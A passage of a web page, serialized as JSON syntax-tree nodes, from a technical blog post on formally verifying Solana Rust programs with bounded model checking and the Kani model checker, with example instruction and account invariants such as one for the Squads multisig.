8423},{"style":7149},[138424],{"type":32,"value":9720},{"type":26,"tag":217,"props":138426,"children":138427},{"style":7130},[138428],{"type":32,"value":137829},{"type":26,"tag":217,"props":138430,"children":138431},{"style":7048},[138432],{"type":32,"value":18548},{"type":26,"tag":217,"props":138434,"children":138435},{"class":7028,"line":7985},[138436,138440,138444],{"type":26,"tag":217,"props":138437,"children":138438},{"style":7064},[138439],{"type":32,"value":138286},{"type":26,"tag":217,"props":138441,"children":138442},{"style":7048},[138443],{"type":32,"value":138291},{"type":26,"tag":217,"props":138445,"children":138446},{"style":7033},[138447],{"type":32,"value":138296},{"type":26,"tag":39,"props":138449,"children":138450},{},[138451,138453,138459,138461,138466],{"type":32,"value":138452},"Both of these cases return ",{"type":26,"tag":83,"props":138454,"children":138456},{"className":138455},[],[138457],{"type":32,"value":138458},"unsat",{"type":32,"value":138460}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":26,"tag":65,"props":138462,"children":138463},{},[138464],{"type":32,"value":138465},"correct",{"type":32,"value":138467}," according to this property.",{"type":26,"tag":607,"props":138469,"children":138471},{"id":138470},"loop-bounds-path-explosion",[138472],{"type":32,"value":138473},"Loop bounds & path explosion",{"type":26,"tag":39,"props":138475,"children":138476},{},[138477,138479,138483,138485,138490],{"type":32,"value":138478},"As you may have noticed, BMC requires us to take ",{"type":26,"tag":65,"props":138480,"children":138481},{},[138482],{"type":32,"value":120298},{"type":32,"value":138484}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":26,"tag":65,"props":138486,"children":138487},{},[138488],{"type":32,"value":138489},"infinite",{"type":32,"value":138491}," number of paths because the loop branches backward. This might take a while...",{"type":26,"tag":39,"props":138493,"children":138494},{},[138495],{"type":32,"value":138496},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":26,"tag":39,"props":138498,"children":138499},{},[138500],{"type":32,"value":138501},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":26,"tag":39,"props":138503,"children":138504},{},[138505],{"type":32,"value":138506},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":26,"tag":607,"props":138508,"children":138510},{"id":138509},"kani-model-checker",[138511],{"type":32,"value":138512},"Kani Model Checker",{"type":26,"tag":39,"props":138514,"children":138515},{},[138516,138518,138523],{"type":32,"value":138517},"For our research with formally verifying Solana programs, we are using the ",{"type":26,"tag":163,"props":138519,"children":138521},{"href":137428,"rel":138520},[167],[138522],{"type":32,"value":137432},{"type":32,"value":138524},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":26,"tag":39,"props":138526,"children":138527},{},[138528,138530,138535,138537,138543,138544,138550,138552,138558],{"type":32,"value":138529},"Kani allows you to write ",{"type":26,"tag":65,"props":138531,"children":138532},{},[138533],{"type":32,"value":138534},"proof harnesses",{"type":32,"value":138536}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":26,"tag":83,"props":138538,"children":138540},{"className":138539},[],[138541],{"type":32,"value":138542},"assume",{"type":32,"value":1308},{"type":26,"tag":83,"props":138545,"children":138547},{"className":138546},[],[138548],{"type":32,"value":138549},"assert",{"type":32,"value":138551}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":26,"tag":83,"props":138553,"children":138555},{"className":138554},[],[138556],{"type":32,"value":138557},"cargo kani",{"type":32,"value":138559}," tool (which compiles your proof harness and runs BMC).",{"type":26,"tag":27,"props":138561,"children":138563},{"id":138562},"specification-how-can-we-describe-what-we-want-our-program-to-do",[138564,138566,138570],{"type":32,"value":138565},"Specification: How can we describe what we ",{"type":26,"tag":65,"props":138567,"children":138568},{},[138569],{"type":32,"value":137501},{"type":32,"value":137503},{"type":26,"tag":39,"props":138572,"children":138573},{},[138574],{"type":26,"tag":65,"props":138575,"children":138576},{},[138577],{"type":26,"tag":9348,"props":138578,"children":138579},{},[138580],{"type":32,"value":138581},"And what even do we want it to do?",{"type":26,"tag":39,"props":138583,"children":138584},{},[138585,138587,138592],{"type":32,"value":138586},"A fundamental challenge with any formal verification framework is ",{"type":26,"tag":65,"props":138588,"children":138589},{},[138590],{"type":32,"value":138591},"specifying",{"type":32,"value":138593}," what the \"correct\" behavior should be.",{"type":26,"tag":39,"props":138595,"children":138596},{},[138597],{"type":32,"value":138598},"In natural language, we can describe a few good properties for example Solana programs:",{"type":26,"tag":2040,"props":138600,"children":138601},{},[138602,138614,138625],{"type":26,"tag":2044,"props":138603,"children":138604},{},[138605,138607,138612],{"type":32,"value":138606},"\"It should not be possible to ",{"type":26,"tag":9348,"props":138608,"children":138609},{},[138610],{"type":32,"value":138611},"steal money",{"type":32,"value":138613}," via a swap program\"",{"type":26,"tag":2044,"props":138615,"children":138616},{},[138617,138619,138624],{"type":32,"value":138618},"\"A multisig should never get into a state where you ",{"type":26,"tag":9348,"props":138620,"children":138621},{},[138622],{"type":32,"value":138623},"can't sign anything",{"type":32,"value":9007},{"type":26,"tag":2044,"props":138626,"children":138627},{},[138628],{"type":32,"value":138629},"\"User funds in a staking protocol \"",{"type":26,"tag":39,"props":138631,"children":138632},{},[138633,138635,138645,138647,138652],{"type":32,"value":138634},"These are types of properties you can tell your ",{"type":26,"tag":163,"props":138636,"children":138639},{"href":138637,"rel":138638},"https://osec.io/",[167],[138640],{"type":26,"tag":65,"props":138641,"children":138642},{},[138643],{"type":32,"value":138644},"human auditors",{"type":32,"value":138646}," but these English phrases are not particularly useful for ",{"type":26,"tag":65,"props":138648,"children":138649},{},[138650],{"type":32,"value":138651},"automated verification techniques",{"type":32,"value":138653}," (at least until our AI overlords surpass human intelligence).",{"type":26,"tag":39,"props":138655,"children":138656},{},[138657,138659,138664,138666,138671],{"type":32,"value":138658},"Instead, we need to be able to specify ",{"type":26,"tag":65,"props":138660,"children":138661},{},[138662],{"type":32,"value":138663},"in code",{"type":32,"value":138665}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":26,"tag":83,"props":138667,"children":138669},{"className":138668},[],[138670],{"type":32,"value":138549},{"type":32,"value":138672}," statement.",{"type":26,"tag":607,"props":138674,"children":138676},{"id":138675},"solana-invariants",[138677],{"type":32,"value":138678},"Solana Invariants",{"type":26,"tag":39,"props":138680,"children":138681},{},[138682,138684,138689,138690,138695],{"type":32,"value":138683},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":26,"tag":9348,"props":138685,"children":138686},{},[138687],{"type":32,"value":138688},"instruction invariants",{"type":32,"value":1308},{"type":26,"tag":9348,"props":138691,"children":138692},{},[138693],{"type":32,"value":138694},"account invariants",{"type":32,"value":180},{"type":26,"tag":631,"props":138697,"children":138699},{"id":138698},"instruction-invariant",[138700],{"type":32,"value":138701},"Instruction Invariant",{"type":26,"tag":39,"props":138703,"children":138704},{},[138705,138707,138712,138714,138720,138721,138727],{"type":32,"value":138706},"An ",{"type":26,"tag":9348,"props":138708,"children":138709},{},[138710],{"type":32,"value":138711},"instruction invariant",{"type":32,"value":138713}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":26,"tag":83,"props":138715,"children":138717},{"className":138716},[],[138718],{"type":32,"value":138719},"succeeds_if",{"type":32,"value":9438},{"type":26,"tag":83,"props":138722,"children":138724},{"className":138723},[],[138725],{"type":32,"value":138726},"errors_if",{"type":32,"value":138728}," macro annotations on the instruction handler.",{"type":26,"tag":39,"props":138730,"children":138731},{},[138732],{"type":32,"value":138733},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":26,"tag":39,"props":138735,"children":138736},{},[138737,138739,138745,138747,138751],{"type":32,"value":138738},"For example, say we have a ",{"type":26,"tag":83,"props":138740,"children":138742},{"className":138741},[],[138743],{"type":32,"value":138744},"Withdraw",{"type":32,"value":138746}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":26,"tag":65,"props":138748,"children":138749},{},[138750],{"type":32,"value":6535},{"type":32,"value":138752}," tokens than their current balance.",{"type":26,"tag":39,"props":138754,"children":138755},{},[138756,138758,138763],{"type":32,"value":138757},"Using our tool, you could specify the following ",{"type":26,"tag":83,"props":138759,"children":138761},{"className":138760},[],[138762],{"type":32,"value":138726},{"type":32,"value":138764}," property on your instruction handler:",{"type":26,"tag":207,"props":138766,"children":138768},{"code":138767,"language":56139,"meta":8,"className":56140,"style":8},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[138769],{"type":26,"tag":83,"props":138770,"children":138771},{"__ignoreMap":8},[138772,138780,138813,138820,138887,138894],{"type":26,"tag":217,"props":138773,"children":138774},{"class":7028,"line":7029},[138775],{"type":26,"tag":217,"props":138776,"children":138777},{"style":7048},[138778],{"type":32,"value":138779},"#[errors_if(\n",{"type":26,"tag":217,"props":138781,"children":138782},{"class":7028,"line":6770},[138783,138787,138791,138795,138799,138804,138808],{"type":26,"tag":217,"props":138784,"children":138785},{"style":7048},[138786],{"type":32,"value":79513},{"type":26,"tag":217,"props":138788,"children":138789},{"style":7149},[138790],{"type":32,"value":180},{"type":26,"tag":217,"props":138792,"children":138793},{"style":7048},[138794],{"type":32,"value":122483},{"type":26,"tag":217,"props":138796,"children":138797},{"style":7149},[138798],{"type":32,"value":180},{"type":26,"tag":217,"props":138800,"children":138801},{"style":7048},[138802],{"type":32,"value":138803},"balance ",{"type":26,"tag":217,"props":138805,"children":138806},{"style":7149},[138807],{"type":32,"value":7289},{"type":26,"tag":217,"props":138809,"children":138810},{"style":7048},[138811],{"type":32,"value":138812}," amount\n",{"type":26,"tag":217,"props":138814,"children":138815},{"class":7028,"line":6779},[138816],{"type":26,"tag":217,"props":138817,"children":138818},{"style":7048},[138819],{"type":32,"value":90743},{"type":26,"tag":217,"props":138821,"children":138822},{"class":7028,"line":7140},[138823,138827,138831,138835,138839,138843,138847,138851,138855,138859,138863,138867,138871,138875,138879,138883],{"type":26,"tag":217,"props":138824,"children":138825},{"style":7154},[138826],{"type":32,"value":77603},{"type":26,"tag":217,"props":138828,"children":138829},{"style":7064},[138830],{"type":32,"value":104457},{"type":26,"tag":217,"props":138832,"children":138833},{"style":7048},[138834],{"type":32,"value":1851},{"type":26,"tag":217,"props":138836,"children":138837},{"style":7054},[138838],{"type":32,"value":79895},{"type":26,"tag":217,"props":138840,"children":138841},{"style":7149},[138842],{"type":32,"value":1473},{"type":26,"tag":217,"props":138844,"children":138845},{"style":7119},[138846],{"type":32,"value":91119},{"type":26,"tag":217,"props":138848,"children":138849},{"style":7048},[138850],{"type":32,"value":7289},{"type":26,"tag":217,"props":138852,"children":138853},{"style":7119},[138854],{"type":32,"value":138744},{"type":26,"tag":217,"props":138856,"children":138857},{"style":7048},[138858],{"type":32,"value":56967},{"type":26,"tag":217,"props":138860,"children":138861},{"style":7054},[138862],{"type":32,"value":99767},{"type":26,"tag":217,"props":138864,"children":138865},{"style":7149},[138866],{"type":32,"value":1473},{"type":26,"tag":217,"props":138868,"children":138869},{"style":7119},[138870],{"type":32,"value":91146},{"type":26,"tag":217,"props":138872,"children":138873},{"style":7048},[138874],{"type":32,"value":8380},{"type":26,"tag":217,"props":138876,"children":138877},{"style":7149},[138878],{"type":32,"value":10115},{"type":26,"tag":217,"props":138880,"children":138881},{"style":7119},[138882],{"type":32,"value":56945},{"type":26,"tag":217,"props":138884,"children":138885},{"style":7048},[138886],{"type":32,"value":91163},{"type":26,"tag":217,"props":138888,"children":138889},{"class":7028,"line":7165},[138890],{"type":26,"tag":217,"props":138891,"children":138892},{"style":7149},[138893],{"type":32,"value":75433},{"type":26,"tag":217,"props":138895,"children":138896},{"class":7028,"line":7178},[138897],{"type":26,"tag":217,"props":138898,"children":138899},{"style":7048},[138900],{"type":32,"value":7184},{"type":26,"tag":35,"props":138902,"children":138903},{},[138904],{"type":26,"tag":39,"props":138905,"children":138906},{},[138907,138908,138913,138915,138920,138922,138927],{"type":32,"value":475},{"type":26,"tag":83,"props":138909,"children":138911},{"className":138910},[],[138912],{"type":32,"value":138726},{"type":32,"value":138914}," expression specifies ",{"type":26,"tag":65,"props":138916,"children":138917},{},[138918],{"type":32,"value":138919},"succifient",{"type":32,"value":138921}," but not ",{"type":26,"tag":65,"props":138923,"children":138924},{},[138925],{"type":32,"value":138926},"necessary",{"type":32,"value":138928}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":26,"tag":11933,"props":138930,"children":138931},{},[],{"type":26,"tag":39,"props":138933,"children":138934},{},[138935,138937,138942],{"type":32,"value":138936},"Another example is that for ",{"type":26,"tag":65,"props":138938,"children":138939},{},[138940],{"type":32,"value":138941},"crank",{"type":32,"value":138943}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":26,"tag":207,"props":138945,"children":138947},{"code":138946,"language":56139,"meta":8,"className":56140,"style":8},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[138948],{"type":26,"tag":83,"props":138949,"children":138950},{"__ignoreMap":8},[138951,138959,139012,139019],{"type":26,"tag":217,"props":138952,"children":138953},{"class":7028,"line":7029},[138954],{"type":26,"tag":217,"props":138955,"children":138956},{"style":7048},[138957],{"type":32,"value":138958},"#[succeeds_if(true)]\n",{"type":26,"tag":217,"props":138960,"children":138961},{"class":7028,"line":6770},[138962,138966,138971,138975,138979,138983,138987,138991,138996,139000,139004,139008],{"type":26,"tag":217,"props":138963,"children":138964},{"style":7154},[138965],{"type":32,"value":77603},{"type":26,"tag":217,"props":138967,"children":138968},{"style":7064},[138969],{"type":32,"value":138970}," my_crank",{"type":26,"tag":217,"props":138972,"children":138973},{"style":7048},[138974],{"type":32,"value":1851},{"type":26,"tag":217,"props":138976,"children":138977},{"style":7054},[138978],{"type":32,"value":79895},{"type":26,"tag":217,"props":138980,"children":138981},{"style":7149},[138982],{"type":32,"value":1473},{"type":26,"tag":217,"props":138984,"children":138985},{"style":7119},[138986],{"type":32,"value":91119},{"type":26,"tag":217,"props":138988,"children":138989},{"style":7048},[138990],{"type":32,"value":7289},{"type":26,"tag":217,"props":138992,"children":138993},{"style":7119},[138994],{"type":32,"value":138995},"Crank",{"type":26,"tag":217,"props":138997,"children":138998},{"style":7048},[138999],{"type":32,"value":93975},{"type":26,"tag":217,"props":139001,"children":139002},{"style":7149},[139003],{"type":32,"value":10115},{"type":26,"tag":217,"props":139005,"children":139006},{"style":7119},[139007],{"type":32,"value":56945},{"type":26,"tag":217,"props":139009,"children":139010},{"style":7048},[139011],{"type":32,"value":91163},{"type":26,"tag":217,"props":139013,"children":139014},{"class":7028,"line":6779},[139015],{"type":26,"tag":217,"props":139016,"children":139017},{"style":7149},[139018],{"type":32,"value":75433},{"type":26,"tag":217,"props":139020,"children":139021},{"class":7028,"line":7140},[139022],{"type":26,"tag":217,"props":139023,"children":139024},{"style":7048},[139025],{"type":32,"value":7184},{"type":26,"tag":39,"props":139027,"children":139028},{},[139029,139031,139036,139038,139043],{"type":32,"value":139030},"With this invariant, you could prove that the function ",{"type":26,"tag":65,"props":139032,"children":139033},{},[139034],{"type":32,"value":139035},"always",{"type":32,"value":139037}," returns ",{"type":26,"tag":83,"props":139039,"children":139041},{"className":139040},[],[139042],{"type":32,"value":93710},{"type":32,"value":139044},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":26,"tag":11933,"props":139046,"children":139047},{},[],{"type":26,"tag":39,"props":139049,"children":139050},{},[139051,139053,139058,139059,139064,139066,139071,139073,139078,139080,139085],{"type":32,"value":139052},"Note that ",{"type":26,"tag":83,"props":139054,"children":139056},{"className":139055},[],[139057],{"type":32,"value":138719},{"type":32,"value":1308},{"type":26,"tag":83,"props":139060,"children":139062},{"className":139061},[],[139063],{"type":32,"value":138726},{"type":32,"value":139065}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":26,"tag":83,"props":139067,"children":139069},{"className":139068},[],[139070],{"type":32,"value":138719},{"type":32,"value":139072}," is not satisfied and a function may fail even if ",{"type":26,"tag":83,"props":139074,"children":139076},{"className":139075},[],[139077],{"type":32,"value":138726},{"type":32,"value":139079}," is not satisfied. If you want to prove the ",{"type":26,"tag":65,"props":139081,"children":139082},{},[139083],{"type":32,"value":139084},"exact condition",{"type":32,"value":139086}," required for an instruction to succeed, you could use a form like the following:",{"type":26,"tag":207,"props":139088,"children":139090},{"code":139089,"language":56139,"meta":8,"className":56140,"style":8},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[139091],{"type":26,"tag":83,"props":139092,"children":139093},{"__ignoreMap":8},[139094,139138,139145,139161,139186,139238,139245],{"type":26,"tag":217,"props":139095,"children":139096},{"class":7028,"line":7029},[139097,139101,139106,139110,139114,139118,139122,139126,139130,139134],{"type":26,"tag":217,"props":139098,"children":139099},{"style":7154},[139100],{"type":32,"value":77603},{"type":26,"tag":217,"props":139102,"children":139103},{"style":7064},[139104],{"type":32,"value":139105}," my_invariant",{"type":26,"tag":217,"props":139107,"children":139108},{"style":7048},[139109],{"type":32,"value":1851},{"type":26,"tag":217,"props":139111,"children":139112},{"style":7149},[139113],{"type":32,"value":13251},{"type":26,"tag":217,"props":139115,"children":139116},{"style":7048},[139117],{"type":32,"value":8380},{"type":26,"tag":217,"props":139119,"children":139120},{"style":7149},[139121],{"type":32,"value":10115},{"type":26,"tag":217,"props":139123,"children":139124},{"style":7119},[139125],{"type":32,"value":79568},{"type":26,"tag":217,"props":139127,"children":139128},{"style":7048},[139129],{"type":32,"value":65337},{"type":26,"tag":217,"props":139131,"children":139132},{"style":7149},[139133],{"type":32,"value":13251},{"type":26,"tag":217,"props":139135,"children":139136},{"style":7048},[139137],{"type":32,"value":65351},{"type":26,"tag":217,"props":139139,"children":139140},{"class":7028,"line":6770},[139141],{"type":26,"tag":217,"props":139142,"children":139143},{"emptyLinePlaceholder":17},[139144],{"type":32,"value":7817},{"type":26,"tag":217,"props":139146,"children":139147},{"class":7028,"line":6779},[139148,139153,139157],{"type":26,"tag":217,"props":139149,"children":139150},{"style":7048},[139151],{"type":32,"value":139152},"#[succeeds_if(my_invariant(",{"type":26,"tag":217,"props":139154,"children":139155},{"style":7149},[139156],{"type":32,"value":13251},{"type":26,"tag":217,"props":139158,"children":139159},{"style":7048},[139160],{"type":32,"value":92556},{"type":26,"tag":217,"props":139162,"children":139163},{"class":7028,"line":7140},[139164,139169,139173,139178,139182],{"type":26,"tag":217,"props":139165,"children":139166},{"style":7048},[139167],{"type":32,"value":139168},"#[errors_if(",{"type":26,"tag":217,"props":139170,"children":139171},{"style":7149},[139172],{"type":32,"value":11704},{"type":26,"tag":217,"props":139174,"children":139175},{"style":7048},[139176],{"type":32,"value":139177},"my_invariant(",{"type":26,"tag":217,"props":139179,"children":139180},{"style":7149},[139181],{"type":32,"value":13251},{"type":26,"tag":217,"props":139183,"children":139184},{"style":7048},[139185],{"type":32,"value":92556},{"type":26,"tag":217,"props":139187,"children":139188},{"class":7028,"line":7165},[139189,139193,139198,139202,139206,139210,139214,139218,139222,139226,139230,139234],{"type":26,"tag":217,"props":139190,"children":139191},{"style":7154},[139192],{"type":32,"value":77603},{"type":26,"tag":217,"props":139194,"children":139195},{"style":7064},[139196],{"type":32,"value":139197}," my_instruction",{"type":26,"tag":217,"props":139199,"children":139200},{"style":7048},[139201],{"type":32,"value":1851},{"type":26,"tag":217,"props":139203,"children":139204},{"style":7054},[139205],{"type":32,"value":79895},{"type":26,"tag":217,"props":139207,"children":139208},{"style":7149},[139209],{"type":32,"value":1473},{"type":26,"tag":217,"props":139211,"children":139212},{"style":7119},[139213],{"type":32,"value":91119},{"type":26,"tag":217,"props":139215,"children":139216},{"style":7048},[139217],{"type":32,"value":7289},{"type":26,"tag":217,"props":139219,"children":139220},{"style":7149},[139221],{"type":32,"value":13251},{"type":26,"tag":217,"props":139223,"children":139224},{"style":7048},[139225],{"type":32,"value":93975},{"type":26,"tag":217,"props":139227,"children":139228},{"style":7149},[139229],{"type":32,"value":10115},{"type":26,"tag":217,"props":139231,"children":139232},{"style":7119},[139233],{"type":32,"value":56945},{"type":26,"tag":217,"props":139235,"children":139236},{"style":7048},[139237],{"type":32,"value":91163},{"type":26,"tag":217,"props":139239,"children":139240},{"class":7028,"line":7178},[139241],{"type":26,"tag":217,"props":139242,"children":139243},{"style":7149},[139244],{"type":32,"value":75433},{"type":26,"tag":217,"props":139246,"children":139247},{"class":7028,"line":7389},[139248],{"type":26,"tag":217,"props":139249,"children":139250},{"style":7048},[139251],{"type":32,"value":7184},{"type":26,"tag":39,"props":139253,"children":139254},{},[139255],{"type":32,"value":139256},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":26,"tag":631,"props":139258,"children":139260},{"id":139259},"account-invariants",[139261],{"type":32,"value":139262},"Account Invariants",{"type":26,"tag":39,"props":139264,"children":139265},{},[139266,139268,139273],{"type":32,"value":139267},"The other type of invariant is an ",{"type":26,"tag":9348,"props":139269,"children":139270},{},[139271],{"type":32,"value":139272},"Account Invariant",{"type":32,"value":139274},". This invariant describes some property of an account that should always hold.",{"type":26,"tag":39,"props":139276,"children":139277},{},[139278,139280,139285,139286,139291],{"type":32,"value":139279},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":26,"tag":83,"props":139281,"children":139283},{"className":139282},[],[139284],{"type":32,"value":90786},{"type":32,"value":9438},{"type":26,"tag":83,"props":139287,"children":139289},{"className":139288},[],[139290],{"type":32,"value":18200},{"type":32,"value":8256},{"type":26,"tag":39,"props":139293,"children":139294},{},[139295,139297,139303],{"type":32,"value":139296},"For example, given a mock ",{"type":26,"tag":83,"props":139298,"children":139300},{"className":139299},[],[139301],{"type":32,"value":139302},"UserStatement",{"type":32,"value":139304}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":26,"tag":207,"props":139306,"children":139308},{"code":139307,"language":56139,"meta":8,"className":56140,"style":8},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[139309],{"type":26,"tag":83,"props":139310,"children":139311},{"__ignoreMap":8},[139312,139320,139328,139361,139368,139384,139408,139432,139456],{"type":26,"tag":217,"props":139313,"children":139314},{"class":7028,"line":7029},[139315],{"type":26,"tag":217,"props":139316,"children":139317},{"style":7048},[139318],{"type":32,"value":139319},"#[account]\n",{"type":26,"tag":217,"props":139321,"children":139322},{"class":7028,"line":6770},[139323],{"type":26,"tag":217,"props":139324,"children":139325},{"style":7048},[139326],{"type":32,"value":139327},"#[invariant(\n",{"type":26,"tag":217,"props":139329,"children":139330},{"class":7028,"line":6779},[139331,139335,139339,139344,139348,139352,139356],{"type":26,"tag":217,"props":139332,"children":139333},{"style":7048},[139334],{"type":32,"value":92958},{"type":26,"tag":217,"props":139336,"children":139337},{"style":7149},[139338],{"type":32,"value":180},{"type":26,"tag":217,"props":139340,"children":139341},{"style":7048},[139342],{"type":32,"value":139343},"assets ",{"type":26,"tag":217,"props":139345,"children":139346},{"style":7149},[139347],{"type":32,"value":70795},{"type":26,"tag":217,"props":139349,"children":139350},{"style":7048},[139351],{"type":32,"value":92589},{"type":26,"tag":217,"props":139353,"children":139354},{"style":7149},[139355],{"type":32,"value":180},{"type":26,"tag":217,"props":139357,"children":139358},{"style":7048},[139359],{"type":32,"value":139360},"liabilities\n",{"type":26,"tag":217,"props":139362,"children":139363},{"class":7028,"line":7140},[139364],{"type":26,"tag":217,"props":139365,"children":139366},{"style":7048},[139367],{"type":32,"value":90743},{"type":26,"tag":217,"props":139369,"children":139370},{"class":7028,"line":7165},[139371,139375,139380],{"type":26,"tag":217,"props":139372,"children":139373},{"style":7154},[139374],{"type":32,"value":12224},{"type":26,"tag":217,"props":139376,"children":139377},{"style":7119},[139378],{"type":32,"value":139379}," UserStatement",{"type":26,"tag":217,"props":139381,"children":139382},{"style":7048},[139383],{"type":32,"value":8064},{"type":26,"tag":217,"props":139385,"children":139386},{"class":7028,"line":7178},[139387,139391,139396,139400,139404],{"type":26,"tag":217,"props":139388,"children":139389},{"style":7154},[139390],{"type":32,"value":90798},{"type":26,"tag":217,"props":139392,"children":139393},{"style":7054},[139394],{"type":32,"value":139395}," owner",{"type":26,"tag":217,"props":139397,"children":139398},{"style":7149},[139399],{"type":32,"value":1473},{"type":26,"tag":217,"props":139401,"children":139402},{"style":7119},[139403],{"type":32,"value":93283},{"type":26,"tag":217,"props":139405,"children":139406},{"style":7048},[139407],{"type":32,"value":10953},{"type":26,"tag":217,"props":139409,"children":139410},{"class":7028,"line":7389},[139411,139415,139420,139424,139428],{"type":26,"tag":217,"props":139412,"children":139413},{"style":7154},[139414],{"type":32,"value":90798},{"type":26,"tag":217,"props":139416,"children":139417},{"style":7054},[139418],{"type":32,"value":139419}," assets",{"type":26,"tag":217,"props":139421,"children":139422},{"style":7149},[139423],{"type":32,"value":1473},{"type":26,"tag":217,"props":139425,"children":139426},{"style":7119},[139427],{"type":32,"value":91146},{"type":26,"tag":217,"props":139429,"children":139430},{"style":7048},[139431],{"type":32,"value":10953},{"type":26,"tag":217,"props":139433,"children":139434},{"class":7028,"line":7406},[139435,139439,139444,139448,139452],{"type":26,"tag":217,"props":139436,"children":139437},{"style":7154},[139438],{"type":32,"value":90798},{"type":26,"tag":217,"props":139440,"children":139441},{"style":7054},[139442],{"type":32,"value":139443}," liabilities",{"type":26,"tag":217,"props":139445,"children":139446},{"style":7149},[139447],{"type":32,"value":1473},{"type":26,"tag":217,"props":139449,"children":139450},{"style":7119},[139451],{"type":32,"value":91146},{"type":26,"tag":217,"props":139453,"children":139454},{"style":7048},[139455],{"type":32,"value":10953},{"type":26,"tag":217,"props":139457,"children":139458},{"class":7028,"line":7439},[139459],{"type":26,"tag":217,"props":139460,"children":139461},{"style":7048},[139462],{"type":32,"value":7184},{"type":26,"tag":39,"props":139464,"children":139465},{},[139466,139468,139473],{"type":32,"value":139467},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":26,"tag":83,"props":139469,"children":139471},{"className":139470},[],[139472],{"type":32,"value":139302},{"type":32,"value":139474}," is created or modified.",{"type":26,"tag":39,"props":139476,"children":139477},{},[139478,139480,139486],{"type":32,"value":139479},"In another example, we developed the following invariant for the ",{"type":26,"tag":163,"props":139481,"children":139483},{"href":137405,"rel":139482},[167],[139484],{"type":32,"value":139485},"Squads Multisig",{"type":32,"value":139487}," wallet account:",{"type":26,"tag":207,"props":139489,"children":139491},{"code":139490,"language":56139,"meta":8,"className":56140,"style":8},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[139492],{"type":26,"tag":83,"props":139493,"children":139494},{"__ignoreMap":8},[139495,139502,139509,139537,139596,139625,139677,139684,139704,139734,139764,139795,139824,139854,139884,139913,139951],{"type":26,"tag":217,"props":139496,"children":139497},{"class":7028,"line":7029},[139498],{"type":26,"tag":217,"props":139499,"children":139500},{"style":7048},[139501],{"type":32,"value":139319},{"type":26,"tag":217,"props":139503,"children":139504},{"class":7028,"line":6770},[139505],{"type":26,"tag":217,"props":139506,"children":139507},{"style":7048},[139508],{"type":32,"value":139327},{"type":26,"tag":217,"props":139510,"children":139511},{"class":7028,"line":6779},[139512,139516,139520,139524,139528,139532],{"type":26,"tag":217,"props":139513,"children":139514},{"style":7149},[139515],{"type":32,"value":93123},{"type":26,"tag":217,"props":139517,"children":139518},{"style":7048},[139519],{"type":32,"value":91922},{"type":26,"tag":217,"props":139521,"children":139522},{"style":7149},[139523],{"type":32,"value":180},{"type":26,"tag":217,"props":139525,"children":139526},{"style":7048},[139527],{"type":32,"value":78574},{"type":26,"tag":217,"props":139529,"children":139530},{"style":7149},[139531],{"type":32,"value":180},{"type":26,"tag":217,"props":139533,"children":139534},{"style":7048},[139535],{"type":32,"value":139536},"is_empty()\n",{"type":26,"tag":217,"props":139538,"children":139539},{"class":7028,"line":7140},[139540,139544,139549,139553,139557,139561,139566,139570,139575,139579,139584,139588,139592],{"type":26,"tag":217,"props":139541,"children":139542},{"style":7149},[139543],{"type":32,"value":93735},{"type":26,"tag":217,"props":139545,"children":139546},{"style":7048},[139547],{"type":32,"value":139548}," 